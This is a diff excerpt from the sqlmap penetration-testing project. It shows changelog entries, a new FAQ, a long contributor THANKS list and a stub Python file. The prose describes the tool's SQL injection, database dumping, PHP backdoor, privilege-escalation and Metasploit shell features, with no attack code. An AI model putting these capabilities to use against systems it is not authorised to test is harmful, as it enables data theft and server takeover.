a time based blind SQL injection technique by providing option
|
||||
--time-test;
|
||||
* Minor enhancement to fingerprint the web server operating system and
|
||||
the web application technology by parsing some HTTP response headers;
|
||||
* Minor enhancement to fingerprint the back-end DBMS operating system by
|
||||
parsing the DBMS banner value when -b option is provided;
|
||||
* Minor enhancement to be able to specify the number of seconds before
|
||||
timeout the connection by providing option --timeout #, default is set
|
||||
to 10 seconds and must be 3 or higher;
|
||||
* Minor enhancement to be able to specify the number of seconds to wait
|
||||
between each HTTP request by providing option --delay #;
|
||||
* Minor enhancement to be able to get the injection payload --prefix and
|
||||
--postfix from user;
|
||||
* Minor enhancement to be able to enumerate table columns and dump table
|
||||
entries, also when the database name is not provided, by using the
|
||||
current database on MySQL and Microsoft SQL Server, the 'public'
|
||||
scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
|
||||
* Minor enhancemet to support also --regexp, --excl-str and --excl-reg
|
||||
options rather than only --string when comparing HTTP responses page
|
||||
content;
|
||||
* Minor enhancement to be able to specify extra HTTP headers by providing
|
||||
option --headers. By default Accept, Accept-Language and Accept-Charset
|
||||
headers are set;
|
||||
* Minor improvement to be able to provide CU (as current user) as user
|
||||
value (-U) when enumerating users privileges or users passwords;
|
||||
* Minor improvements to sqlmap Debian package files;
|
||||
* Minor improvement to use Python psyco (http://psyco.sourceforge.net/)
|
||||
library if available to speed up the sqlmap algorithmic operations;
|
||||
* Minor improvement to retry the HTTP request up to three times in case
|
||||
an exception is raised during the connection to the target url;
|
||||
* Major bug fix to correctly enumerate columns on Microsoft SQL Server;
|
||||
* Major bug fix so that when the user provide a SELECT statement to be
|
||||
processed with an asterisk as columns, now it also work if in the FROM
|
||||
there is no database name specified;
|
||||
* Minor bug fix to correctly dump table entries when the column is
|
||||
provided;
|
||||
* Minor bug fix to correctly handle session.error, session.timeout and
|
||||
httplib.BadStatusLine exceptions in HTTP requests;
|
||||
* Minor bug fix to correctly catch connection exceptions and notify to
|
||||
the user also if they occur within a thread;
|
||||
* Increased default output level from 0 to 1;
|
||||
* Updated documentation.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Thu, 18 Dec 2008 10:00:00 +0000
|
||||
|
||||
sqlmap (0.6.2-1) stable; urgency=low
|
||||
|
||||
* Major bug fix to correctly dump tables entries when --stop is not
|
||||
@@ -12,6 +297,7 @@ sqlmap (0.6.2-1) stable; urgency=low
|
||||
variable) is an integer and, for some reasons, its resumed value from
|
||||
the session file is a string or a binary file, the query is executed
|
||||
again and its new output saved to the session file;
|
||||
* Minor bug fix in MySQL comment injection fingerprint technique;
|
||||
* Minor improvement to correctly enumerate tables, columns and dump
|
||||
tables entries on Oracle and on PostgreSQL when the database name is
|
||||
not 'public' schema or a system database;
|
||||
@@ -19,11 +305,10 @@ sqlmap (0.6.2-1) stable; urgency=low
|
||||
database name, table name and column(s) are provided;
|
||||
* Updated the database management system fingerprint checks to correctly
|
||||
identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
|
||||
* More user-friendly warnin messages.
|
||||
* More user-friendly warning messages.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 2 Nov 2008 19:00:00 +0000
|
||||
|
||||
|
||||
sqlmap (0.6.1-1) stable; urgency=low
|
||||
|
||||
* Major bug fix to blind SQL injection bisection algorithm to handle an
|
||||
@@ -45,7 +330,6 @@ sqlmap (0.6.1-1) stable; urgency=low
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 20 Oct 2008 10:00:00 +0000
|
||||
|
||||
|
||||
sqlmap (0.6-1) stable; urgency=low
|
||||
|
||||
* Complete code refactor and many bugs fixed;
|
||||
@@ -111,7 +395,6 @@ sqlmap (0.6-1) stable; urgency=low
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 1 Sep 2008 10:00:00 +0100
|
||||
|
||||
|
||||
sqlmap (0.5-1) stable; urgency=low
|
||||
|
||||
* Added support for Oracle database management system
|
||||
@@ -159,7 +442,6 @@ sqlmap (0.5-1) stable; urgency=low
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 4 Nov 2007 20:00:00 +0100
|
||||
|
||||
|
||||
sqlmap (0.4-1) stable; urgency=low
|
||||
|
||||
* Added DBMS fingerprint based also upon HTML error messages parsing
|
||||
@@ -188,14 +470,14 @@ sqlmap (0.4-1) stable; urgency=low
|
||||
the remote DBMS;
|
||||
* Major improvements in union.UnionCheck() and union.UnionUse()
|
||||
functions to make it possible to exploit inband SQL injection also
|
||||
with database comment characters ('--' and '#') in UNION SELECT
|
||||
with database comment characters ('--' and '#') in UNION query
|
||||
statements;
|
||||
* Added the possibility to save the output into a file while performing
|
||||
the queries (-o OUTPUTFILE) so it is possible to stop and resume the
|
||||
same query output retrieving in a second time (--resume);
|
||||
* Added support to specify the database table column to enumerate
|
||||
(-C COL);
|
||||
* Added inband SQL injection (UNION SELECT) support (--union-use);
|
||||
* Added inband SQL injection (UNION query) support (--union-use);
|
||||
* Complete code refactoring, a lot of minor and some major fixes in
|
||||
libraries, many minor improvements;
|
||||
* Reviewed the directory tree structure;
|
||||
@@ -205,7 +487,6 @@ sqlmap (0.4-1) stable; urgency=low
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 15 Jun 2007 20:00:00 +0100
|
||||
|
||||
|
||||
sqlmap (0.3-1) stable; urgency=low
|
||||
|
||||
* Added module for MS SQL Server;
|
||||
@@ -226,7 +507,6 @@ sqlmap (0.3-1) stable; urgency=low
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 20 Jan 2007 20:00:00 +0100
|
||||
|
||||
|
||||
sqlmap (0.2-1) stable; urgency=low
|
||||
|
||||
* complete refactor of entire program;
|
||||
|
||||
109
doc/FAQ.sgml
Normal file
109
doc/FAQ.sgml
Normal file
@@ -0,0 +1,109 @@
|
||||
<!doctype linuxdoc system>
|
||||
|
||||
<article>
|
||||
|
||||
<title>sqlmap - Frequently Asked Questions
|
||||
<author>by <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G.">,
|
||||
<htmlurl url="mailto:miroslav.stampar@gmail.com" name="Miroslav Stampar">
|
||||
<abstract>
|
||||
This document contains frequently asked questions for <htmlurl
|
||||
url="http://sqlmap.sourceforge.net" name="sqlmap">.
|
||||
</abstract>
|
||||
|
||||
<toc>
|
||||
|
||||
<sect>Frequently Asked Questions
|
||||
|
||||
<sect1>What is sqlmap?
|
||||
|
||||
<p>
|
||||
sqlmap is an open source penetration testing tool that automates the
|
||||
process of detecting and exploiting SQL injection flaws and taking over
|
||||
of database servers. It comes with a kick-ass detection engine, many niche
|
||||
features for the ultimate penetration tester and a broad range of switches
|
||||
lasting from database fingerprinting, over data fetching from the
|
||||
database, to accessing the underlying file system and executing commands
|
||||
on the operating system via out-of-band connections.
|
||||
|
||||
<sect1>How do I execute sqlmap?
|
||||
|
||||
<p>
|
||||
If you are running on a Unix/Linux system type the following command
|
||||
from a terminal:
|
||||
<tscreen><verb>
|
||||
python sqlmap.py -h
|
||||
</verb></tscreen>
|
||||
|
||||
<p>
|
||||
If you are running on a Windows system type the following command
|
||||
from a terminal:
|
||||
<tscreen><verb>
|
||||
C:\Python26\python.exe sqlmap.py -h
|
||||
</verb></tscreen>
|
||||
|
||||
<p>
|
||||
Where <tt>C:\Python26</tt> is the path where you installed <htmlurl
|
||||
url="http://www.python.org" name="Python"> <bf>>= 2.6</bf>.
|
||||
|
||||
<sect1>Can I integrate sqlmap with a security tool I am developing?
|
||||
|
||||
<p>
|
||||
Yes. sqlmap is released under the terms of the GPLv2, which means that any
|
||||
derivative work must be distributed without further restrictions on the
|
||||
rights granted by the GPL itself. If this constitutes a problem, feel free
|
||||
to contact us so we can find a solution.
|
||||
|
||||
<sect1>How can I integrate sqlmap with my own tool?
|
||||
|
||||
<p>
|
||||
TODO
|
||||
|
||||
<sect1>Will you support other database management systems?
|
||||
|
||||
<p>
|
||||
Yes. There are plans to support also IBM DB2, Informix and Ingres at some
|
||||
point.
|
||||
|
||||
<sect1>How can I occasionally contribute?
|
||||
|
||||
<p>
|
||||
All help is greatly appreciated. First of all download the tool, make sure
|
||||
you are running the latest development version from the Subversion
|
||||
repository, read the user's manual carefully, have fun with it during your
|
||||
penetration tests.
|
||||
If you find bugs or have ideas for possible improvements, feel free to
|
||||
<htmlurl url="http://sqlmap.sourceforge.net/#ml" name="get in touch on the
|
||||
mailing list">. Many people have <htmlurl
|
||||
url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/THANKS"
|
||||
name="contributed"> in different ways to the sqlmap development.
|
||||
<bf>You</bf> can be the next!
|
||||
|
||||
<sect1>Can I actively contribute in the long-term development?
|
||||
|
||||
<p>
|
||||
Yes, we are looking for people who can write some clean Python code, are
|
||||
up to do security research, know about web application security, database
|
||||
assessment and takeover, software refactoring and are motivated to join
|
||||
the development team.
|
||||
If this sounds interesting to you, <htmlurl
|
||||
url="http://sqlmap.sourceforge.net/#developers" name="get in touch">!
|
||||
|
||||
<sect1>How can I support the development?
|
||||
|
||||
<p>
|
||||
If you think that sqlmap is a great tool, it really played well during
|
||||
your penetration tests, or you simply like it, you, or your boss, can
|
||||
<htmlurl url="http://sqlmap.sourceforge.net/#donate" name="donate
|
||||
some money"> to the developers via PayPal.
|
||||
|
||||
<sect1>Can you hack a site for me?
|
||||
|
||||
<p>
|
||||
<bf>No</bf>.
|
||||
|
||||
<sect1>How sqlmap decides this and that?
|
||||
|
||||
<p>
|
||||
TODO
|
||||
|
||||
</article>
|
||||
5275
doc/README.html
5275
doc/README.html
File diff suppressed because it is too large
Load Diff
BIN
doc/README.pdf
BIN
doc/README.pdf
Binary file not shown.
5252
doc/README.sgml
5252
doc/README.sgml
File diff suppressed because it is too large
Load Diff
429
doc/THANKS
429
doc/THANKS
@@ -1,20 +1,95 @@
|
||||
== Individuals ==
|
||||
|
||||
Santiago Accurso <saccurso@skygear.com.ar>
|
||||
for reporting a bug
|
||||
|
||||
David Alvarez <david.alvarez.s@gmail.com>
|
||||
for reporting a bug
|
||||
|
||||
Chip Andrews <chip@sqlsecurity.com>
|
||||
for his excellent work maintaining the SQL Server versions database
|
||||
at SQLSecurity.com and permission to implement the update feature
|
||||
taking data from his site
|
||||
|
||||
Smith Andy <teh.one@hotmail.com>
|
||||
for suggesting a feature
|
||||
|
||||
Otavio Augusto <otavioarj@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Simon Baker <simonb@sec-1.com>
|
||||
for reporting some bugs
|
||||
|
||||
Emiliano Bazaes <emiliano@7espejos.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
for starting sqlmap project and developing it between July and August
|
||||
2006
|
||||
|
||||
Velky Brat <velkybrat@gmail.com>
|
||||
for suggesting a minor enhancement to the bisection algorithm
|
||||
|
||||
Jack Butler <fattredd@hotmail.com>
|
||||
for providing me with the sqlmap site favicon
|
||||
|
||||
Ulisses Castro <uss.thebug@gmail.com>
|
||||
for reporting a bug
|
||||
|
||||
Roberto Castrogiovanni <castrogiovanni.roberto@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Cesar Cerrudo <cesar@argeniss.com>
|
||||
for his Windows access token kidnapping tool Churrasco included in
|
||||
sqlmap tree as a contrib library and used to run the stand-alone
|
||||
payload stager on the target Windows machine as SYSTEM user if the
|
||||
user wants to perform a privilege escalation attack,
|
||||
http://www.argeniss.com/research/TokenKidnapping.pdf
|
||||
|
||||
Karl Chen <quarl@cs.berkeley.edu>
|
||||
for providing with the multithreading patch for the inference
|
||||
algorithm
|
||||
|
||||
Y P Chien <ypchien@cox.net>
|
||||
for reporting a minor bug
|
||||
|
||||
Pierre Chifflier <pollux@debian.org> and Mark Hymers <ftpmaster@debian.org>
|
||||
for uploading and accepting the sqlmap Debian package to the official
|
||||
Debian project repository
|
||||
|
||||
Andreas Constantinides <megahz@megahz.org>
|
||||
for reporting a minor bug
|
||||
|
||||
Ulises U. Cune <ulises2k@gmail.com>
|
||||
for reporting a bug
|
||||
|
||||
Alessandro Curio <alessandro.curio@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Alessio Dalla Piazza <alessio.dallapiazza@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Stefano Di Paola <stefano.dipaola@wisec.it>
|
||||
for suggesting good features
|
||||
|
||||
Mosk Dmitri <ya@darkbyte.ru>
|
||||
for reporting a minor bug
|
||||
|
||||
Carey Evans <careye@spamcop.net>
|
||||
for his fcrypt module that allows crypt(3) support
|
||||
on Windows platforms
|
||||
|
||||
Adam Faheem <faheem.adam@is.co.za>
|
||||
for reporting a few bugs
|
||||
|
||||
James Fisher <www@sittinglittleduck.com>
|
||||
for providing me with two very good feature requests
|
||||
for his great tool too brute force directories and files names on
|
||||
web/application servers, Dir Buster, http://tinyurl.com/dirbuster
|
||||
|
||||
Jim Forster <jimforster@goldenwest.com>
|
||||
for reporting a bug
|
||||
|
||||
Rong-En Fan <rafan@freebsd.org>
|
||||
for commiting the sqlmap 0.5 port to the official FreeBSD project
|
||||
repository
|
||||
@@ -23,13 +98,63 @@ Giorgio Fedon <giorgio.fedon@gmail.com>
|
||||
for suggesting a speed improvement for bisection algorithm
|
||||
for reporting a bug when running against Microsoft SQL Server 2005
|
||||
|
||||
Kasper Fons <thefeds@mail.dk>
|
||||
for reporting several bugs
|
||||
|
||||
Jose Fonseca <jose.r.fonseca@gmail.com>
|
||||
for his Gprof2Dot utility for converting profiler output to dot
|
||||
graph(s) and for his XDot utility to render nicely dot graph(s),
|
||||
both included in sqlmap tree inside extra folder. These libraries
|
||||
are used for sqlmap development purposes only
|
||||
http://code.google.com/p/jrfonseca/wiki/Gprof2Dot
|
||||
http://code.google.com/p/jrfonseca/wiki/XDot
|
||||
|
||||
Alan Franzoni <alan.franzoni@gmail.com>
|
||||
for helping me out with Python subprocess library
|
||||
|
||||
Daniel G. Gamonal <lgrecol@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Marcos Mateos Garcia <mmateos@germinus.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Ivan Giacomelli <truemilk@insiberia.net>
|
||||
for reporting a bug
|
||||
for suggesting a minor enhancement
|
||||
for reviewing the documentation
|
||||
|
||||
Nico Golde <nico@ngolde.de>
|
||||
for reporting a couple of bugs
|
||||
|
||||
Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com>
|
||||
for reporting a bug
|
||||
for providing me with a minor patch
|
||||
|
||||
Davide Guerri <d.guerri@caspur.it>
|
||||
for suggesting an enhancement
|
||||
|
||||
Dan Guido <dguido@gmail.com>
|
||||
for promoting sqlmap in the context of the Penetration Testing and
|
||||
Vulnerability Analysis class at the Polytechnic University of New York,
|
||||
http://isisblogs.poly.edu/courses/pentest/
|
||||
|
||||
David Guimaraes <skysbsb@gmail.com>
|
||||
for reporting several bugs
|
||||
for suggesting an enhancement
|
||||
|
||||
Chris Hall <chris.hall@mod10.net>
|
||||
for coding the prettyprint.py library
|
||||
|
||||
Tate Hansen <tate@clearnetsec.com>
|
||||
for donating to sqlmap development
|
||||
|
||||
Mario Heiderich <mario.heiderich@gmail.com>
|
||||
Christian Matthies <ch0012@gmail.com>
|
||||
Lars H. Strojny <lars@strojny.net>
|
||||
for their great tool PHPIDS included in sqlmap tree as
|
||||
a set of rules for testing payloads against IDS detection,
|
||||
http://php-ids.org
|
||||
|
||||
Kristian Erik Hermansen <kristian.hermansen@gmail.com>
|
||||
for reporting a bug
|
||||
for donating to sqlmap development
|
||||
@@ -41,9 +166,81 @@ Will Holcomb <wholcomb@gmail.com>
|
||||
for his MultipartPostHandler class to handle multipart POST forms and
|
||||
permission to include it within sqlmap source code
|
||||
|
||||
Daniel Huckmann <sanitybit@gmail.com>
|
||||
for reporting a couple of bugs
|
||||
|
||||
Mounir Idrassi <mounir.idrassi@idrix.net>
|
||||
for his compiled version of UPX for Mac OS X
|
||||
|
||||
Daliev Ilya <daliser@yandex.ru>
|
||||
for reporting a bug
|
||||
|
||||
Prashant Jadhav <prashantjadhav.82@gmail.com>
|
||||
for reporting a bug
|
||||
|
||||
Dirk Jagdmann <doj@cubic.org>
|
||||
for reporting a typo in the documentation
|
||||
|
||||
Luke Jahnke <luke.jahnke@gmail.com>
|
||||
for reporting a bug when running against MySQL < 5.0
|
||||
|
||||
David Klein <david.klein@ipfocus.com.au>
|
||||
for reporting a minor code improvement
|
||||
|
||||
Sven Klemm <sven@c3d2.de>
|
||||
for reporting two minor bugs with PostgreSQL
|
||||
|
||||
Anant Kochhar <anant.kochhar@secureyes.net>
|
||||
for providing me with feedback on the user's manual
|
||||
|
||||
Alexander Kornbrust <ak@red-database-security.com>
|
||||
for reporting a couple of bugs
|
||||
|
||||
Krzysztof Kotowicz <kkotowicz@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Nicolas Krassas <krasn@ans.gr>
|
||||
for reporting a bug
|
||||
|
||||
Alex Landa <landa.alex86@gmail.com>
|
||||
for providing a patch adding support for XML output
|
||||
|
||||
Guido Landi <lists@keamera.org>
|
||||
for reporting a couple of bugs
|
||||
for the great technical discussions
|
||||
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
|
||||
'sp_replwritetovarbin' stored procedure heap-based buffer overflow
|
||||
(MS09-004) exploit development
|
||||
for presenting with me at SOURCE Conference 2009 in Barcelona (Spain)
|
||||
on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on
|
||||
November 20, 2009
|
||||
|
||||
Lee Lawson <Lee.Lawson@dns.co.uk>
|
||||
for reporting a minor bug
|
||||
|
||||
John J. Lee <jjl@pobox.com> & others
|
||||
for developing the clientform Python library used by sqlmap to parse
|
||||
forms when --forms switch is specified
|
||||
|
||||
Nico Leidecker <nico@leidecker.info>
|
||||
for providing me with feedback on a few features
|
||||
for reporting a couple of bugs
|
||||
for his great tool icmpsh included in sqlmap tree to get a command
|
||||
prompt via an out-of-band tunnel over ICMP,
|
||||
http://leidecker.info/downloads/icmpsh.zip
|
||||
|
||||
Gabriel Lima <pato@bugnet.com.br>
|
||||
for reporting a couple of bugs
|
||||
|
||||
Svyatoslav Lisin <sel@3d-tech.ru>
|
||||
for suggesting a minor feature
|
||||
|
||||
Mark Lowe <larkmowe@gmail.com>
|
||||
for reporting a couple of bugs
|
||||
|
||||
Truong Duc Luong <luongductruong@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Pavol Luptak <pavol.luptak@nethemba.com>
|
||||
for reporting a bug when injecting on a POST data parameter
|
||||
|
||||
@@ -52,22 +249,81 @@ Michael Majchrowicz <mmajchrowicz@gmail.com>
|
||||
for providing really appreciated feedback
|
||||
for suggesting a lot of ideas and features
|
||||
|
||||
Ferruh Mavituna <ferruh@mavituna.com>
|
||||
for providing me with ideas on the implementation of a couple of
|
||||
new features
|
||||
|
||||
David McNab <david@conscious.co.nz>
|
||||
for his XMLObject module that allows XML files to be operated on
|
||||
like Python objects
|
||||
|
||||
Spencer J. McIntyre <smcintyre@securestate.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Enrico Milanese <enricomilanese@gmail.com>
|
||||
for reporting a bugs when using (-a) a single line User-Agent file
|
||||
for providing me with some ideas for the PHP backdoor
|
||||
|
||||
Anton Mogilin <azarmaster81@yahoo.com>
|
||||
for reporting a few bugs
|
||||
|
||||
Anastasios Monachos <anastasiosm@gmail.com>
|
||||
for providing some useful data
|
||||
for suggesting a feature
|
||||
|
||||
Kirill Morozov <l0rda@l0rda.biz>
|
||||
for reporting a bug
|
||||
for suggesting a feature
|
||||
|
||||
Alejo Murillo Moya <alex@65535.com>
|
||||
for reporting a minor bug
|
||||
for suggesting a few features
|
||||
|
||||
Yonny Mutai <yonnym@googlemail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Roberto Nemirovsky <roberto.paes@gmail.com>
|
||||
for pointing me out some enhancements
|
||||
|
||||
Markus Oberhumer <markus.oberhumer@jk.uni-linz.ac.at>
|
||||
Laszlo Molnar <ml1050@cdata.tvnet.hu>
|
||||
John F. Reiser <sales@bitwagon.com>
|
||||
for their great tool UPX (Ultimate Packer for eXecutables) included
|
||||
in sqlmap tree as a contrib library and used mainly to pack the
|
||||
Metasploit Framework 3 payload stager portable executable,
|
||||
http://upx.sourceforge.net
|
||||
|
||||
Simone Onofri <simone.onofri@gmail.com>
|
||||
for patching the PHP web backdoor to make it work properly also on
|
||||
Windows
|
||||
|
||||
Shaohua Pan <pan@knownsec.com>
|
||||
for reporting several bugs
|
||||
for suggesting a few features
|
||||
|
||||
Antonio Parata <s4tan@ictsc.it>
|
||||
for providing me with some ideas for the PHP backdoor
|
||||
|
||||
Adrian Pastor <ap@gnucitizen.org>
|
||||
for donating to sqlmap development
|
||||
|
||||
Chris Patten <cpatten@sunera.com>
|
||||
for reporting a bug in the blind SQL injection bisection algorithm
|
||||
|
||||
Zack Payton <zack.payton@executiveinstruments.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Steve Pinkham <steve.pinkham@gmail.com>
|
||||
for suggesting a feature
|
||||
for providing a new sql injection vector (MSSQL time based)
|
||||
|
||||
Adam Pridgen <adam.pridgen@gmail.com>
|
||||
for suggesting some features
|
||||
|
||||
Ole Rasmussen <olerass@gmail.com>
|
||||
for reporting a bug
|
||||
for suggesting a feature
|
||||
|
||||
Alberto Revelli <r00t@northernfortress.net>
|
||||
for inspiring me to write sqlmap user's manual in SGML
|
||||
for his great Microsoft SQL Server take over tool, sqlninja,
|
||||
@@ -78,50 +334,221 @@ Andres Riancho <andres.riancho@gmail.com>
|
||||
for reporting a bug and suggesting some features
|
||||
for including sqlmap in his great web application audit and attack
|
||||
framework, w3af, http://w3af.sourceforge.net
|
||||
for suggesting a way for handling DNS caching
|
||||
|
||||
Antonio Riva <antonio.riva@gmail.com>
|
||||
for reporting a bug when running with python 2.5
|
||||
|
||||
Ethan Robish <ethan.robish@gmail.com>
|
||||
for reporting a bug
|
||||
|
||||
Andrea Rossi <andyroyalbattle@yahoo.it>
|
||||
for reporting a minor bug
|
||||
for suggesting a feature
|
||||
|
||||
Richard Safran <allapplyhere@yahoo.com>
|
||||
for donating the sqlmap.org domain control
|
||||
|
||||
Tomoyuki Sakurai <cherry@trombik.org>
|
||||
for submitting to the FreeBSD project the sqlmap 0.5 port
|
||||
|
||||
Pedro Jacques Santos Santiago <pedro__jacques@hotmail.com>
|
||||
for reporting several bugs
|
||||
|
||||
Marek Sarvas <marek.sarvas@gmail.com>
|
||||
for reporting several bugs
|
||||
|
||||
Philippe A. R. Schaeffer <schaeff@compuphil.de>
|
||||
for reporting a minor bug
|
||||
|
||||
Jorge Santos <jorge_a_santos@hotmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Sven Schluter <sschlueter@netzwerk.cc>
|
||||
for providing with a patch for waiting a number of seconds between
|
||||
each HTTP request
|
||||
|
||||
Ryan Sears <rdsears@mtu.edu>
|
||||
for suggesting a couple of enhancements
|
||||
|
||||
Uemit Seren <uemit.seren@gmail.com>
|
||||
for reporting a minor adjustment when running with python 2.6
|
||||
|
||||
Ahmed Shawky <ahmed@isecur1ty.org>
|
||||
for reporting a major bug with improper handling of parameter values
|
||||
for reporting a bug
|
||||
|
||||
Brian Shura <bshura@appsecconsulting.com>
|
||||
for reporting a bug
|
||||
|
||||
Sumit Siddharth <sid@notsosecure.com>
|
||||
for providing me with ideas on the implementation of a couple of
|
||||
features
|
||||
|
||||
Andre Silva <andreoaz@gmail.com>
|
||||
for reporting a bug
|
||||
|
||||
M Simkin <mlsimkin@cox.net>
|
||||
for suggesting a feature
|
||||
|
||||
Konrads Smelkovs <konrads@smelkovs.com>
|
||||
for reporting a few bugs in --sql-shell and --sql-query on Microsoft
|
||||
SQL Server
|
||||
|
||||
Michael D. Stenner <mstenner@linux.duke.edu>
|
||||
for his keepalive module that allows handling of persistent
|
||||
HTTP 1.1 keep-alive connections
|
||||
|
||||
Marek Stiefenhofer <m.stiefenhofer@r-tec.net>
|
||||
for reporting a bug
|
||||
|
||||
Jason Swan <jasoneswan@gmail.com>
|
||||
for reporting a bug when enumerating columns on Microsoft SQL Server
|
||||
for suggesting a couple of improvements
|
||||
|
||||
Chilik Tamir <phenoman@gmail.com>
|
||||
for providing a patch for initial support SOAP requests
|
||||
|
||||
Alessandro Tanasi <alessandro@tanasi.it>
|
||||
for extensively beta-testing sqlmap
|
||||
for suggesting many features and reporting some bugs
|
||||
for reviewing the documentation
|
||||
|
||||
Andres Tarasco <atarasco@gmail.com>
|
||||
for providing me with good feedback
|
||||
|
||||
Kazim Bugra Tombul <mhackmail@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Efrain Torres <et@metasploit.com>
|
||||
for helping me out to improve the Metasploit Framework 3 sqlmap
|
||||
auxiliary module and for commiting it on the Metasploit official
|
||||
Subversion repository
|
||||
subversion repository
|
||||
for his great Metasploit WMAP Framework
|
||||
|
||||
Sandro Tosi <matrixhasu@gmail.com>
|
||||
for helping to create sqlmap Debian package correctly
|
||||
|
||||
Vitaly Turenko <dsu@dsu.com.ua>
|
||||
for reporting a bug
|
||||
|
||||
Augusto Urbieta <x2xpy50@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Bedirhan Urgun <bedirhanurgun@gmail.com>
|
||||
for reporting a few bugs
|
||||
for suggesting some features and improvements
|
||||
for benchmarking sqlmap in the context of his SQL injection
|
||||
benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
|
||||
|
||||
Kyprianos Vasilopoulos <kyprianos.vasilopoulos@gmail.com>
|
||||
for reporting a couple of minor bugs
|
||||
|
||||
Carlos Gabriel Vergara <carlosgabrielvergara@gmail.com>
|
||||
for suggesting couple of good features
|
||||
|
||||
Anthony Zboralski <anthony.zboralski@bellua.com>
|
||||
for providing me with detailed feedback
|
||||
for reporting a few minor bugs
|
||||
for donating to sqlmap development
|
||||
|
||||
Thierry Zoller <thierry@zoller.lu>
|
||||
for reporting a couple of major bugs
|
||||
|
||||
-insane- <insane_@gmx.de>
|
||||
for reporting a minor bug
|
||||
|
||||
abc abc <biedimc@gmx.net>
|
||||
for reporting a minor bug
|
||||
|
||||
Brandon E. <brandonpoc@gmail.com>
|
||||
for reporting a bug
|
||||
|
||||
black zero <timeisflowing@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
buawig <buawig@gmail.com>
|
||||
for reporting considerable amount of bugs
|
||||
|
||||
Bugtrace <bugtrace@gmail.com>
|
||||
for reporting several bugs
|
||||
|
||||
dragoun dash <dragoun.dash@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
fufuh <fufuh@users.sourceforge.net>
|
||||
for reporting a bug when running on Windows
|
||||
|
||||
james <james@ev6.net>
|
||||
for reporting a bug
|
||||
|
||||
m4l1c3 <malice.anon@gmail.com>
|
||||
for reporting considerable amount of bugs
|
||||
|
||||
mariano <marianoso@gmail.com>
|
||||
for reporting a bug
|
||||
|
||||
mitchell <mitchell@tufala.net>
|
||||
for reporting a bug
|
||||
|
||||
nightman <nightman@email.de>
|
||||
for reporting several bugs
|
||||
|
||||
pacman730 <pacman730@users.sourceforge.net>
|
||||
for reporting a bug
|
||||
|
||||
Phat R. <phatthanaphol@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Joe "Pragmatk" <pragmatk@gmail.com>
|
||||
for reporting a few bugs
|
||||
|
||||
ragos <ragos@joker.ms>
|
||||
for reporting a minor bug
|
||||
|
||||
shiftzwei <shiftzwei@gmail.com>
|
||||
for reporting a couple of bugs
|
||||
|
||||
Stuffe <stuffe.dk@gmail.com>
|
||||
for reporting a minor bug and a feature request
|
||||
|
||||
Sylphid <sylphid.su@sti.com.tw>
|
||||
for suggesting some features
|
||||
|
||||
syssecurity.info <syssecurity7@googlemail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
ToR <sstidus@email.it>
|
||||
for reporting considerable amount of bugs
|
||||
for suggesting a feature
|
||||
|
||||
ultramegaman <seclists@ultramegaman.com>
|
||||
for reporting a minor bug
|
||||
|
||||
wanglei <wanglei@17uxi.cn>
|
||||
for reporting a minor bug
|
||||
|
||||
warninggp <warninggp@gmail.com>
|
||||
for reporting a few minor bugs
|
||||
|
||||
x <deep_freeze@mail.ru>
|
||||
for reporting a bug
|
||||
|
||||
== Organizations ==
|
||||
|
||||
Black Hat team <info@blackhat.com>
|
||||
for the opportunity to present my research on 'Advanced SQL injection
|
||||
to operating system full control' at Black Hat Europe 2009 Briefings on
|
||||
April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of
|
||||
the sqlmap 0.7 release candidate version new features during my
|
||||
presentation
|
||||
|
||||
Metasploit LLC <msfdev@metasploit.com>
|
||||
for their powerful tool Metasploit Framework 3, used by sqlmap, among
|
||||
others things, to create the shellcode and establish an out-of-band
|
||||
connection between sqlmap and the database server,
|
||||
http://www.metasploit.com/framework
|
||||
|
||||
OWASP Board <http://www.owasp.org>
|
||||
for sponsoring part of the sqlmap development in the context of OWASP
|
||||
Spring of Code 2007
|
||||
|
||||
10
extra/__init__.py
Normal file
10
extra/__init__.py
Normal file
@@ -0,0 +1,10 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
19
extra/clientform/__init__.py
Normal file
19
extra/clientform/__init__.py
Normal file
@@ -0,0 +1,19 @@
|
||||
